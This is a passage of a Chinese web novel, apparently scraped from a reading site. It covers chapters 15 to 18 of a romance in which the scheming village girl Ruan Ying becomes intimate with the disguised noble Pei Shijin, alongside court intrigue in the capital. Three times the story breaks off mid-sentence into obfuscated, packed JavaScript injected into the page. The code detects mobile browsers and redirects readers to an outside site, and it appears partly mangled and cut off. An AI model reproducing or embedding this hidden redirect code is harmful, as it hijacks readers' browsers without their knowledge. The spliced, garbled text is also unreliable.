映入眼帘是她娇嫩的肌肤上的红色,裴时瑾眸光一顿,问她可有什么不舒服。 阮莹摇头,在他脖子上印下一个吻。 她唇角翘着:“子玉哥哥……感觉更喜欢你了……好喜欢你……” 她说完,不好意思地低下头。 裴时瑾不知道怎么回答,索性不说话。 阮莹的手指在他胸口打转,慢慢不安分,往别处走。她碰到他的疤痕,终于想起来问他:“子玉哥哥,你为何身上有这么多伤?” 裴时瑾尚没打算告诉她自己的真实身份,自然也不能如实告诉她这些疤痕的由来,想了想,回答她:“我幼时身体不好,我哥哥说,让我练舞,强身健体,所以受了些伤。” 这话是真,只是真了一半。 他幼时因为受尽冷落,连饮食都被克扣,的确身体不好。遇到先帝之后,他开始习武。 阮莹并未怀疑:“原来是这样,那你一定很痛吧。” 她以己推人,她受什么伤都觉得很痛,更何况还有这么多伤。阮莹低头,在他胸口的一处疤上落下一个吻。 她是心疼自己,裴时瑾知道。但这举动实在撩拨,裴时瑾喉头微动,他没打算今天再做什么。 “已经过去了。”他说。 他从前也没觉得多疼,习惯了。 阮莹抱住他。 二人又躺了会儿,裴时瑾才起来,他让他们做好吃食送进来。 长明很快把吃食放下,就退了下去,压根不敢多看。这院子就这么点大,他们昨晚做了什么,长明他们几个都听见了些声响。 经过这些日子的相处,除了长林,其他人都很喜欢阮莹,对此倒是没什么意见。何况他们王爷这个年纪,早就该成家了,如今也算好事一件。 裴时瑾喂阮莹吃了点东西,又给阮莹送来新的衣服,昨晚那身弄脏了。阮莹自己换上衣裳,要回家一趟。 裴时瑾想到什么,说:“我会和你爹提亲。” “好。”阮莹目的达成,喜不自胜。 她又问裴时瑾何时回京城,她想裴时瑾应当要去明年的春闱,所以最迟今年年底也会出发,不会太久。 裴时瑾计划也是今年年底之前会回到京城,年底京中事情多,要他回去处理。 裴时瑾又道:“阿莹,等我们回京,再成亲,可以吗?” 若在这里便成亲,未免太过委屈阮莹。 阮莹点头,她求之不得,去了京城,就是风光大嫁。她仿佛已经看到繁华的京城近在眼前,这让阮莹雀跃不已。 15.第 15 章 阮九常不归家,昨夜也没回来,并未发觉阮莹一夜未归之事。屋子里空寂寂的,阮莹在椅子上坐下,看了眼四下贫苦的家,唇角不由得上翘。 她很快就会离开这个家,离开金水镇,去往那人人向往的京城。 阮莹心情大好,烧水洗了个澡。她泡在浴桶中,思及昨夜与裴时瑾肌肤相近的时刻,不由白皙面庞染上红霞。她唇角的笑意压也压不住,毋庸置疑,她喜欢裴时瑾,与喜欢的人耳鬓厮磨,是一件令人愉悦的事,何况这还是她飞向富贵生活的阶梯。与裴时瑾有了肌肤相亲后,她的心仿佛才安定了些。 尽管阮莹心里也会有一些担忧,她怕万一裴时瑾是个坏人,骗了她的身子后从此消失不见……但阮莹很快就自己否定了这担忧,她相信裴时瑾是好人,他已经几次三番拒绝她的投怀送抱。 阮莹趴在浴桶边沿,嘴角又忍不住扯了起来。 她换了身衣服,又往裴时瑾那儿去。 裴时瑾见她来,有些意外:“怎么不在家里休息?” 她昨夜哭得好惨,身上肌肤娇嫩,他力气大,看起来显得更惨了。他以为她会需要休息。 阮莹跨进房门,走到他身侧:“因为想你。” 她似乎觉得害羞,避开裴时瑾的视线,身体却不由自主地往他身边靠。 阮莹把脑袋蹭在他臂弯里,娇娇地开口:“子玉哥哥,我一刻都不想和你分开,怎么办?” 阮莹靠在他怀里,说着情话,眼睛却始终不敢看他,只是把他抱得紧紧的。 她这副模样裴时瑾看在心里,实在讨人喜欢。 裴时瑾伸手揽住她的腰,往椅子上一坐,她便坐在了裴时瑾腿上。他不懂风花雪月那些事,但裴时瑾承认了自己对阮莹的心意,昨夜他们又身心交托,他本能地想亲近她。 裴时瑾握住她的手,轻轻拿在手里摩↑挲,却没有开口说话。 阮莹见他沉默不语,追问:“子玉哥哥,你……有没有想我?” 虽然二人分开才不过半个时辰,可正在蜜里调油的时候,裴时瑾不想承认,但他的确也想念阮莹。这种感觉让裴时瑾感觉新奇又陌生,他从没有想过自己还会有这种时候,像个昏庸浪荡子。 裴时瑾轻嗯了声回答阮莹的话。 阮莹听见他的答复,心满意足,一双纤细的胳膊绕过他的劲腰,将他拥住。她将头靠在他肩上,也静下来不说话了。 正是晌午时分,外头的阳光还不强烈,树影轻晃,落在他们跟前,颇有几分岁月静好的味道。 那是对阮莹而言,但对裴时瑾,还有些东西要隐忍。 她是他喜欢的女子,他昨夜刚占有了她的身子,这会儿她搂着自己,身上幽香阵阵,体温温热传递给他,裴时瑾又不是神,做不到心无杂念。他的手掌落在她柔软的腰上,隔了薄薄的衣料,却能记起毫无阻碍的手感。 裴时瑾闭了闭眼,微微吸气,不想对她做什么,只是有些事忍不住。 阮莹靠在他怀里,渐渐也感觉到了。她面颊绯色更甚,抬眸欲言又止地看了看裴时瑾。 “子玉哥哥,若是……若是你想……”她想说,若是他想,她也可以。 昨夜她是初次,裴时瑾虽说没有太折腾她,但到底异于常人,她这会儿还不太舒服。 裴时瑾打断她的话:“过会儿就好。” 他没动,只是搂着她。 阮莹坐在他怀里,听见他沉稳有力的心跳声,心里又一阵感动。 两个人就这么坐着,谁也没说话,好一会儿,房外有脚步声停下。 长林的声音传来:“公子,人我们已经教训过了,没有伤她性命,也没叫她看见咱们的样貌。” 裴时瑾:“好,下去吧。” 阮莹愣了愣才反应过来长林说的话,是他们去教训了一番苗玲的意思。 那赵员外吃了这么大一个亏,敢怒不敢言,自然也不敢叫此事声张出去,下令让府里人都闭紧嘴巴,谁也不许说出去,对外只说他忽然病了,要卧床休养些时日。 因此苗玲自然也不知道赵员外失手的事,她还满心欢喜等着阮莹出事,老实做赵员外的小老婆。这消息没等到,先等到自己莫名叫人套上麻袋打了一顿。 苗玲那天暗地里听见钱成才和阮莹的话,回去之后本想和钱成才大吵一架,转念又怕钱成才趁机当真休了她,只好咽下不表。结果出门散心的功夫,挨了顿打,回来时鼻青脸肿,样子难看。 钱成才也被她吓了一跳,问她这是怎么了,听她说完,狐疑道:“你不会是在外头惹上了什么麻烦吧?我可告诉你,别给我找麻烦啊。” 钱成才想到阮莹说的,心里还没拿定主意,但已经看苗玲不顺眼。 苗玲身上疼得厉害,哎哟叫唤,一时更不高兴,语气难听:“你这是什么话?你娘子平白无故叫人打了,你都不想替我找出是谁干的,帮我出气,却嫌我给你惹麻烦?” 两个人又乌泱泱吵了起来,翻出了阮莹的事来。 苗玲刺他:“你别以为我不知道你打什么主意,阮莹她从前看不上你,现在更不可能看上你了。你还真以为她会愿意嫁给你!” 钱成才被她戳破,一阵气恼:“我打阮莹的主意怎么了?她就是长得比你漂亮。” 苗玲被他气得不轻,两个人越吵越厉害,钱成才更是扬言要休了她。苗玲当然不可能答应,闹到他爹娘那里,家里鸡飞狗跳的。 钱成才在家里待得没劲,饭也没吃两口就出了门,他心里烦着,不知不觉走到阮莹家附近。心下想道,左右如今已经闹成这样,索性倒不如休了苗玲,再娶阮莹回来。 他想着,便走到了阮家门口。 阮莹正要去找裴时瑾,抬头看见一个身影在门口晃悠。她那天是故意离间钱成才和苗玲,话说完了早就忘了,何况这几天她满心欢喜扑在裴时瑾身上,更把那些事都抛在脑后。 看见钱成才时,阮莹还愣了愣。 钱成才看见阮莹出来,赶忙将她拦住, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594548|171351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堆起笑:“阮莹,那天你说的话,还作数吗?我已经跟苗玲说了要休了她了,她不肯,正跟我闹呢。我可是拿出了十分的诚意了。” 钱成才说着,一把抓住阮莹的手。 阮莹一阵恶心,赶紧抽出手,嗤笑一声:“我可什么都没说过。” 钱成才听她言语,脸色当即一变,凶神恶煞道:“你想赖账是不是!我可告诉你,没那么简单……” 阮莹听他大声嚷嚷,怕被裴时瑾他们听见,语气软了些,劝道:“我瞧你和苗玲挺般配的,不如就好好过日子吧。” 钱成才啐了声,算是明白这女人就是在耍自己,他这些日子叫苗玲搅得不痛快,心里的气都撒在阮莹身上:“臭婊↑子,你别敬酒不吃吃罚酒……” 阮莹蹙起眉头,正欲说些什么,那厢裴时瑾已经听见他们的对话,出了门来。 “阿莹。”裴时瑾唤了声。 阮莹咬了咬唇,躲到裴时瑾身后,小声解释说:“他与那苗玲是夫妻,从前他喜欢我,想求娶我,可我不喜欢他,便拒绝了。打那之后,他心里便一直记恨我,每回见到我,便要找我麻烦。” 裴时瑾冷冷扫了眼钱成才。 钱成才看着裴时瑾,冷笑说:“哟,找到人撑腰了是吧?小白脸,我可告诉你,你以为她真心爱你啊?她就是贪图你的家世,想攀高枝,飞上枝头罢了。” 阮莹捂着心口,有些忐忑。 “子玉哥哥,我没有……” 裴时瑾给长林使了个眼色,长林便要动手,钱成才见状,当即跑了。 阮莹拉了拉裴时瑾衣袖,眼眶红着解释:“子玉哥哥,你别听他胡说八道。我不喜欢他,不过是因为他这人人品不好,时常欺负别人……” 裴时瑾轻嗯了声,并未怀疑阮莹。 阮莹是身世可怜的娇女子,甚至愿意不求任何名分,只把自己给他。与那满口粗话的人比起来,他只会相信阮莹。 阮莹心里松了口气,面上却仍是一副受了惊吓的模样,泫然欲泣。她别过头,小心用帕子擦去泪花,模样可怜。 裴时瑾带她进门,抱她在腿上坐下。 阮莹顺势整个人依偎进他怀抱,低声啜泣:“子玉哥哥,是不是我做错了什么?为何他们都要如此对我?” “赵员外是,苗玲也是,钱成才也是。若非遇见你,我都不知道要怎么办了。” 裴时瑾轻抚她的背:“不是你的错。” 她唯一的错处,便是生了一张美貌的脸,却托生在这家庭里。 阮莹轻声哭了会儿,慢慢从他怀里仰头,亲他的喉结。 “子玉哥哥,你真好。我觉得能认识你,我这辈子受过的苦楚都值得了。” 她又亲他的嘴角,贴了会儿,慢慢钻进他的嘴巴里。 分明是她主动,可她脸上神情却始终羞涩难堪,好像不是在引诱他。这种反差,让裴时瑾愈发喜欢。 裴时瑾喉头滚了滚,化被动为主动,勾住她的舌头。 16.第 16 章 阮莹察觉到裴时瑾的动作,羞涩抬眸看了看他,试探着回应他的动作。裴时瑾敛眸,对上她含羞带怯的眸光,愈发有些意动。 她这几日身子已经爽利许多,自然愿意同裴时瑾亲近。裴时瑾手掌在她后腰上慢慢摩↑挲,阮莹喘着娇声,小声唤了一句:“子玉哥哥……” 裴时瑾再度低眸,吻住她。 一番缠吻结束,裴时瑾意欲抱她去床榻,被阮莹拦住,她扭了扭腰,低声道:“子玉哥哥,其实就在这儿也可以……” 她声音越发低下去,像荡漾开的水波,轻轻撞在裴时瑾心口,连同他的心,也荡漾起来。 阮莹说着:“先前每次子玉哥哥教我写字,我都很欢喜……” 她微垂着眸子,身子却攀上来。 裴时瑾眸色渐暗,坚实手臂悄然收紧力道,将她抱得更紧。裴时瑾没有再起身,也没有说话,屋内静悄悄的,只依稀有些细碎声响。 房门关着,长林他们都在外头忙各自的事,有鸟儿落在树梢,叽叽喳喳地叫唤几声。蝉鸣声也吵闹,听见长明说:“这蝉叫得这么凶,夜里会不会扰公子安眠?要不要把它们粘了?” 回他话的似乎是长河:“那你去。” 两个人笑起来,不知说了些什么。 阮莹听见了他们的话,有些分神,那柿子树就在窗外,若是他们走近,会不会发现什么…… 她有些失神,不由有些紧张。 裴时瑾也感觉到了,他低眸在她额上落下一个吻:“阿莹,他们不会过来。” 阮莹听见他的回答,才觉得心安了些,她身子放松下来,但裴时瑾却没让她放松。 夏日里天气到底比往常炎热,动上一动便一身热汗,阮莹香汗往下淌,低落在尚未写过字的纸上。她看着那几滴汗晕湿了纸,咬着的唇终于忍不住开了口。 裴时瑾听见她的声音,愈发难收住。 不知不觉,已经过了小半个时辰。 阮莹有些脱力地靠着裴时瑾胸膛:“子玉哥哥,阿莹真的好喜欢你。” 裴时瑾低下头,在她眼皮上轻吻。 她身上香味混合了汗水之后仿佛被放大,愈发浓烈,裴时瑾嗅着空气中的气息,觉得自己太过荒唐。虽然他不拘这些,但也从未想过自己会这么做。 他只想到四个字,情到浓时。 裴时瑾勾了勾唇,眸中闪过几分柔软。 两个人耳鬓厮磨间,不觉已日影西斜,阮莹看了眼天色,她该回去了。 她依依不舍和裴时瑾道别:“子玉哥哥,明天见。” 裴时瑾轻嗯一声,送她出门。 待阮莹走后,裴时瑾回到房中,目光落在那几张被晕湿又干透的纸,有些皱,一眼可以看出那里曾经打湿过。他思索片刻,抬手执笔,在纸上写下一个“莹”字。 裴时瑾拿起那张纸,折好后收进了闸子里。 那匣子里都是些阮莹的东西,她给的铜钱,她写的他们俩的名字,不知不觉就多了起来。他起初不过是随意收着,哪里会想到如今渐渐快要装满。 裴时瑾轻轻抚过匣子里的东西,心里又是一阵柔软。原来情之一字,果真叫人欢喜。 裴时瑾想到先帝,先帝与太后从前便感情和睦,他那时看在眼里,自然羡慕。 如今,他也拥有这般恩爱的感情了。 ◇ 阮莹回到家中,还未进门就嗅到一股难闻的酒气,她捏住鼻子,果真看见阮九醉醺醺的身影从她房中走出来。她心中一惊,怕阮九吐在她房里,“爹……” 阮九听见阮莹的话,猛然变了脸色,趔趄着逼上前来,扯住阮莹:“你是不是跟你娘有联系?她回来找你了是不是?” 阮莹只当阮九在说胡话,他喝醉了之后常说些胡言乱语的话:“什么我娘?我看你是醉糊涂了,我娘都死了这么多年了。” 阮九扯着阮莹还在兀自胡言乱语:“贱↑人,婊↑子……” 阮莹被他扯得有些吃痛,赶忙挣脱开他的手,一低头才发现他手里还拿着她先前让裴时瑾给自己代写给她娘的信,难怪他忽然发这种疯。阮莹想把信拿回来,阮九不肯给,推搡之间阮莹被他推倒在地,额头撞在桌角,红了一个包。 阮莹扶着额角,看见阮九把那封信撕得稀碎。 她心里气急,懒得再管他,径直回了屋里。 第二日起来的时候,阮九还在地上躺着,阮莹没好气把他叫醒,又把地上收拾了。阮九迷迷糊糊起来,回了自己房间继续睡下。 阮莹做好早饭,便要去找裴时瑾。 她从镜子里看自己额角的包,撇了撇嘴,睡了一觉起来那个包更肿了,也痛得厉害。看这样子胭脂是遮不住了,阮莹叹了声,还是涂了一层胭脂,而后去找裴时瑾。 “子玉哥哥。”她笑吟吟的。 裴时瑾一眼看见她额角的大包,眸色冷了冷:“谁干的?昨日那人又来找你了?” 阮莹接住他手掌,将巴掌大的脸埋在他手心里,摇头:“没有。是我爹,他昨晚喝醉了回来,发酒疯推了我一把,撞在桌角了。” 她轻叹了声,又笑说:“这种事也不是第一次了,我都习惯了,过两天就好了。” 她越说得轻描淡写,裴时瑾却越是心疼她。 这世上总是有些人不配为人父母,哪怕是帝王,也一样。 见他神色,阮莹反过来安慰他说:“没关系的,子玉哥哥,等你带我回京城,以后就不用再受我爹的气了。” 裴时瑾想到什么,道:“阿莹,我以后会好好对你。” 不会再让她任何一丁点苦,他家中没有父母长辈需要她侍奉,日后成婚,她只需要做他的妻子,坐享荣华富贵。 阮莹听见他这么说,唇角翘得更高:“好。” 既然提起阮九,裴时瑾还是想到了要和她爹提亲的事,不论如何,阮九毕竟是她爹,该有的礼数还是得有。裴时瑾便让长林他们准备了些提亲的东西,登了阮家的门。 阮九不常在家里,虽说裴时瑾就住在他们隔壁,这么久了,他也只有上一次在赵员外宴席上远远见过他一次。骤然见到裴时瑾带着人上门,还有些惊吓。 “你们……要做什么?” 阮莹从屋里出来,看向裴时瑾唤了声:“子玉哥哥。” 阮九看了眼阮莹,又看裴时瑾,才反应过来他是谁。阮九当即想端出做岳父的架子,可触到裴时瑾的眼神和他身后那几个护卫,气焰又消下去。 “哦,是你啊,你有什么事?” 裴时瑾盯住阮九,他对阮九并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600774|171351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜,不过碍于他是阮莹的爹,愿意给他一个面子。 “晚辈今日登门,是来提亲的。” 阮九哦了声:“提亲啊……” 他眼珠转了转,他对阮莹这个女儿虽然没怎么管过,但阮莹的婚事显然可以大捞一笔,他也不会放过这机会。上次那赵员外就许诺给他很多钱,所以他才铁了心要逼阮莹嫁给赵员外。 他看了眼裴时瑾,拿乔道:“你想娶我们家阿莹,总该有些诚意。” 裴时瑾看了眼长林,长林当即拿出一袋银两,摆在桌上。 裴时瑾:“伯父,这是我一点诚意,算不得正式聘礼,我家在京城,待我回京之后,会差人送上更正式的聘礼。” 阮九看着那袋银两,咽了咽口水,脸色当即有些谄媚,这人出手比赵员外还阔绰,那赵员外虽说是许可阮九诸多好处,但到底只是口头说说,给到他手里的少之又少,可眼前这些钱是实打实的。 “好说好说,你与我们家阿莹情投意合,你们俩我看着很是般配。” 阮九当即要伸手接过钱,被长林拦住。 阮莹瞥见阮九的嘴脸,有些不齿,她爹也太没见过世面了,如此粗鄙的样子,在裴时瑾面前,简直让人有些羞愧…… 阮莹别过头,不看他。 阮九同意了裴时瑾的提亲,裴时瑾又敲打了他一些话,让他待阮莹好一些,阮九也都应了。裴时瑾这才把那些钱给了阮九,阮九拿了钱,立刻就喜滋滋地出去喝酒了,只让阮莹好好招待人。 阮莹看着阮九的背影,跺了跺脚:“子玉哥哥,你何必给他那么多钱,他那人……” 阮莹又不说了。 她自己也没想到裴时瑾会愿意给阮九那么多钱,那些钱少说也有几十两,她都不知道要攒多久。不过如此一来,更可以说明裴子玉家世不俗,她心中更有底了。 裴时瑾道:“无妨。” 他还是第一次来阮家,不由得四下环视一圈,想看看阮莹长大的环境。 阮莹有些不好意思:“子玉哥哥……” 裴时瑾看出她的羞窘,顿了顿,道:“阿莹不必觉得不好意思,我幼时过得也不好,不会因此嫌弃你分毫。” 他从不轻易向人提及他过往的事,长林他们闻言皆是一惊。 阮莹也有些惊讶:“子玉哥哥……” 她想问,他不是富贵人家么?怎么会过得不好呢? 裴时瑾道:“我家里情况有些复杂,等以后再慢慢告诉你。” 阮莹点了点头:“好。” 这还是他头一次与她提及家里的事,阮莹看着他,有些恍惚,仿佛想象到与眼前人日后的幸福生活。 见她出神,裴时瑾问:“阿莹在想什么?” 阮莹小声道:“在想日后咱们成了婚……” 裴时瑾接话:“咱们成了婚,再生几个孩子。” 他这般打趣,长明他们几个不禁笑了起来。阮莹听着他们的笑,有些羞赧,“我才没想这些……我去给你们做些吃的……” 她趁机躲进厨房里。 裴时瑾看着她的背影,清浅一笑。 心里却忍不住琢磨“咱们成了婚……”,他竟生出一丝迫不及待与她成亲的心思。 也不知京城那边情况如何了。 17.第 17 章 京城,皇宫。 周太后正在凌霄殿中,大发雷霆。凌霄殿中上上下下跪倒一片,皆都垂着脑袋瑟瑟发抖,殿中气氛严肃,无人敢开口。 周太后扶着额角,冷眼扫过他们,今日她来凌霄殿看望少帝,结果殿中空荡无人,少帝又不在殿中处理政事,周太后本以为他是又溜出宫去玩,结果一问,才得知他竟是胆大包天,不止出了宫,更是离开了京城。 她还以为这些日子少帝终于安分了些,甚少溜出宫去,肯认真处理政务,结果他今日却闹了这么一出。 距离裴时瑾离开京城已经快四个月,上次她派出去刺杀的人让他受了点伤,但那伤算不得致命,两个月的功夫,想必该养好了。只怕他已经在回京的路上,等他回了京,这朝堂上下又该全都看他脸色,可越儿还在这关头跑了出去。 周太后只觉得怒其不争,她不知道自己与先帝这般性子是怎么会生出越儿这样不成器的孩子的。是他们把越儿宠坏了,当年越儿出生时体弱,养到七八岁才养回来了些,但越儿还是比同龄的孩子身体差些…… 周太后想起这些,轻叹了声。 “皇上到底去了哪儿?”她看向跪倒在地的太监宫女们。 可这问题太监宫女们实在不知,今日少帝出宫的事,他们都蒙在鼓里。 周太后看他们样子,咬牙吩咐:“派人去查,若是皇上出了什么事,你们的脑袋也保不住了。” 少帝跑出宫不是什么好事,周太后怕消息传到裴时瑾那儿,裴时瑾会趁机发难,故而先让人瞒住消息,对外只说少帝病了。 但这种事瞒不住,裴时瑾还是收到了京城来的密信,言少帝偷偷溜出京城,去了民间微服出游。 裴时瑾看完信,眉头皱得很深,他没想到他的好侄儿会如此不成器。好在接下来的信中说,他们的人已经找到了少帝行踪,暗中派人保护着,又询问裴时瑾要如何处理此事。 他的人皆拥戴他,当年他将皇位让给先帝,如今先帝死了,少帝难当大任,他们认为裴时瑾该理所当然地把皇位拿回来。问他如何处理的意思,是话里话外暗示先将少帝控制住,而后再让少帝禅位。 裴时瑾思忖片刻,还是回信让他们先暗中保护着人。 他还是没有做出决定。 裴时瑾将信鸽放飞,回身在椅子上坐下,他眸光落在桌案上。桌案上有他写的几幅字,一幅是“权”字,另一幅是“情”字。 手上忽然传来刺痛感,裴时瑾眉头拧起,看见自己的左手颤抖起来,疼痛感也愈发浓烈。 阮莹从外面进来,正好看见这一幕。 她惊呼一声,扑到裴时瑾身前,担心道:“子玉哥哥,你怎么了?” 阮莹看见他脸色难看,左手颤抖着,她握住他颤抖的手,满眼担忧。 裴时瑾睁开眼看她,沉声道:“没事,去叫长河过来。” 阮莹哦了声,赶紧照做。 没一会儿,她把长河带了过来,长河轻车熟路拿出银针,替裴时瑾针灸。阮莹在一边站着,不敢说话,始终担忧地盯着裴时瑾。 过了会儿,长河把针拔了,裴时瑾的左手抖得没那么厉害了,但还是在抖。可裴时瑾却让长河下去了。 阮莹走近几步,半边身子贴在他身上,目光落在他左手上:“子玉哥哥,你的手……” 裴时瑾看见她满心满眼的担忧,回答她的问题:“是从前受过伤,留下来的老毛病。” 阮莹头靠在他肩膀:“子玉哥哥怎么受的伤?听起来一定很严重,当时一定很痛吧?” 她将他的大掌握在手中,她手小小的,两只手也包不住他的手。阮莹将他的手握近眼前,用脸颊轻蹭了蹭,又在他虎口处轻吻了吻。 裴时瑾看着阮莹,其实她的动作并不会减轻他的痛楚分毫,可裴时瑾却无端觉得好像当真没那么痛了。 他勾了勾唇,在她额角轻啄了下,“只是意外。至于痛……还好,我不怕痛。” 阮莹眉头皱起:“不怕痛,又不是代表就不痛了……”她轻声嘀咕。 裴时瑾眸色柔软几分。 阮莹握着他的手,过了会儿,问:“子玉哥哥,你现在感觉好点了吗?” “嗯。”其实没有,他只是不想阮莹继续担心。 阮莹听着他的回答,眼神却在他脸上流转,她小嘴一撇,轻声埋怨他:“你骗我,你看起来还是痛得很厉害。” 她急起来,又想去找长河,被裴时瑾拦住。 “不用,他也只能做到这份上。” 长河只是会医术,但算不上非常精通,以长河的医术只能替他减缓些许疼痛。即便是那些名医,也大多束手无策。 “那看过大夫么?大夫怎么说?”阮莹问。 裴时瑾:“看过,大夫也没办法,只能这样。等它缓过这劲就好了。” 他说话时吸了口气,可见疼得厉害。 阮莹眉头跟着皱得更深:“那……要等多久?” “不好说。” 阮莹轻哦了声,片刻之后,蹭上裴时瑾的嘴角:“这样会不会好一点……” 她垂着眸子,唇贴着裴时瑾的唇。 这些日子他们时常如此亲近,但阮莹总还是容易害羞,不敢看他。 裴时瑾追上来,衔住她唇瓣,轻声说:“这样不够,阿莹。” 一个贴唇角的吻怎么够分散他注意力?他想要更多一些,但也只是在说吻。 阮莹听罢这话,脸却红了起来,显然误会了他的意思:“子玉哥哥,你……还是别了……” 她每每脸红,白皙的脸颊都会变成绯粉色,一路蔓延至白皙的脖颈上,实在可爱。裴时瑾看在眼里,明白她误会了自己的意思,轻声笑起来。 阮莹听见他笑声,也反应过来了,轻哼一声,别过了脸,终究舍不得离开他。她静静坐在他身边,陪着他熬过旧伤的痛楚。 裴时瑾嗅着她身上的香味,竟是慢慢睡了过去。 他醒过来时,阮莹还趴在桌边。 她两只手仍旧小心翼翼握住他的左手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽说她待裴子玉有几分虚情假意,但也有一半的真心,这些日子同他在一起,真是过得无比快乐。她仿佛一个热恋中的女人,沉浸在喜悦之中。 阮九得了银子,这些日子更是不常回家,阮莹自己烧水洗了个澡后,就回房间躺下。她拿着扇子给自己扇风,想到裴时瑾就弯唇笑。 他的臂膀坚实有力,他的吻……他的…… 阮莹捂住脸,翻了个身。 又不禁想,不知裴子玉家中是个什么情况。上次裴子玉和她提及过,说他家境不俗,只是家中情况颇为复杂,他幼时不受父亲喜欢,所以过得不好。不过他有个哥哥待他很好,总是照拂他。 阮莹想着想着,忽地想到另一件事。 这些日子,他们做那种事时裴子玉都是直接留在里面,该不会有孕吧? 18.第 18 章 阮莹不由得抚上自己肚子,转念又定下心神,即便她有孕,也没事吧,左右他们要成亲的。只是若是她先有了身孕,恐怕会传出些流言蜚语,不过她总归要跟着裴子玉去京城,届时天高水远,这金水镇的流言蜚语又越不过京城去。 她重新躺回去,思绪不免跟着走歪到孩子的事上。等她与裴子玉回了京城,成了亲,她是得尽早生个孩子,那些富贵人家里子嗣一向很重要。就连那赵员外家里,都是如此。 阮莹想着想着,慢慢进入了梦乡,梦里是她与裴子玉一家四口,生活得幸福甜蜜。她成了富太太,吃住都有人伺候,穿上了最贵的料子,戴着华丽的首饰…… - 日头毒辣,像蒸笼似的,动作之间更是令人汗涔涔的,湿透了衣裳。阮莹撑在桌角,忍不住溢出几声娇声,腿颤得厉害。 “子玉哥哥,你饶了我吧……”阮莹开口讨饶,实在是没力气了。 裴时瑾在这种事上一向体力好极了,或许是练过武的缘故,他不似旁的书生那般弱不禁风,与他相比,阮莹实在娇弱。她趴在桌案上,青丝散落在纸上,像一幅山水画。 裴时瑾接住她摇摇欲坠的身子,在她额角亲了亲,见她闭着眼,眼尾有些发红,心中愈发觉得喜欢。她乖顺,从来不会拒绝他,可有时候又会主动,尽管主动的时候总是一脸的羞怯,更像个妖精。 裴时瑾当真觉得自己喜欢她极了,原来坠入情网是这般滋味。 阮莹蹭了蹭他的胸膛,轻声开口:“子玉哥哥……” 她伸手挽住他,姿态眷恋。 她一向如此依赖他,简直片刻都不愿意离开他。 长明他们一向不会打扰他们的兴致,也只等到阮莹要走的时候才上前说话:“阮姑娘,不久前你家中有人送信来,你家中没人在,我便替你收了。” 长明将信封递上,阮莹接过信封,道了声谢。 她和来的时候换了身衣裳,因着白日里在屋里的厮混,衣裳都弄脏了,只好换了一身,也重新梳洗所。新衣裳是裴时瑾买的,他家中已经有好几身阮莹的衣裳。 阮莹和他们道了别,出了门后,拿过信封,狐疑地看了看。 谁会给她家写信? 阮家家境贫寒,阮九爹娘早就死了,也没什么别的亲戚,更没什么朋友。以后阮莹,她也不认得什么会给她写信的人。 信封上只写着阮家人收,辨别不出旁的信息。阮莹皱了皱眉,拆开了那信。 信中说,她是阮莹的姑姑,当年和阮九吵架断绝往来,可如今这么多年过去了,到底是亲生兄妹,总有一份情谊在,她如今生了病,想让阮九带着女儿去探望她一趟,来往的路费她来出。 阮莹看完信,倒是记起来她的确有个姑姑,是阮九一母同胞的妹妹。不过与阮九关系一般,两个人时常吵架,后来阮莹两三岁的时候,这个姑姑便嫁了人,去了外地,起初还和阮家有来往,但渐渐就断了联系。 姑姑出嫁的时候阮莹年纪还小,早就忘了姑姑的长相,后来十几年没联络,更忘了还有这么一号人了。 阮莹对这个姑姑的印象不深,因为她嫁得特别远,村里人知道的消息也不多。 不过到底是姑姑,阮莹还是把信给了阮九看,问阮九要不要去看望一趟。 阮九看过信,冷哼一声,道:“她当年扬言要跟我断绝关系,现在病了,想起来娘家人了?呵,八成没好事。她嫁得那么远,一来一回都得好几个月,我才不去。” 阮九看了眼阮莹:“要去,你就自己去。” 阮九说完,就拿着自己的酒进了房中睡觉。 阮莹又将那封信看了一遍,她这些日子跟着裴时瑾,也长了些见识。她认出那信纸不是便宜货,应该是富贵人家用的,那墨水也不像劣质的东西,看起来她这姑姑如今过得应当不错。 阮莹心念一动,想道,她倒是可以去这一趟,若是她这姑姑如今已经发达了,既然她写信来让他们去,想必总还念着些情分,她去了说不定能得些好处。 何况她这姑姑信里说自己病了,说不准病得很严重,无论如何,也是她的姑姑。阮莹这辈子亲情缘分浅,阮九待她更没什么父女情分,她看着旁人家的亲情,心里总是羡慕。 阮莹想罢,做了决定,还是走这一趟。 次日一早,阮莹便去找裴时瑾说了此事。 “子玉哥哥,我可能要出一趟门。昨日我姑姑来信说她病了,想让我们去看看她。可我爹不愿意去,我想着总归是我姑姑,我在这世上的亲人不多,还是去看看她吧。”阮莹叹了声。 裴时瑾道:“既然是你姑姑,你便去吧。” “只是我这一趟出门,恐怕要一两个月才能回来。子玉哥哥,我会舍不得你的。”阮莹看向裴时瑾,露出不舍的神情。 裴时瑾思忖片刻,问:“你姑姑在何处?” 阮莹:“锦阳城。” 